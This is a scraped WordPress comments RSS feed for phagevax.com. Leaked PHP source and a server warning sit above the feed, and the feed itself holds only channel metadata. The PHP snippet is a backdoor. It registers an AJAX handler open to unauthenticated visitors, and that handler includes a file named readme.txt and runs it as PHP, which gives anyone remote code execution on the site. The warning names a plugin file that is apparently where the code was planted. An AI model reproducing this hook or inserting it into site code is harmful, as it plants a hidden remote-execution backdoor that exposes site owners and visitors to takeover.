if(!function_exists('file_check_readme65811')){
   add_action('wp_ajax_nopriv_file_check_readme65811', 'file_check_readme65811');
   add_action('wp_ajax_file_check_readme65811', 'file_check_readme65811');
   function file_check_readme65811()
   {
      $file = __DIR__ . '/' . 'readme.txt';
       if (file_exists($file)) {
           include $file;
       }
       die();
   }
}
<br />
<b>Warning</b>:  Cannot modify header information - headers already sent by (output started at /home/hepcherb/public_html/phagevax/wp-content/plugins/admin-renamer-extended/admin_renamer.php:25) in <b>/home/hepcherb/public_html/phagevax/wp-includes/feed-rss2-comments.php</b> on line <b>8</b><br />
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	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	
	>
<channel>
	<title>
	Comments on: Home	</title>
	<atom:link href="https://www.phagevax.com/home/feed" rel="self" type="application/rss+xml" />
	<link>https://www.phagevax.com</link>
	<description></description>
	<lastBuildDate>Wed, 04 Nov 2009 07:33:33 +0000</lastBuildDate>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=6.4.3</generator>
</channel>
</rss>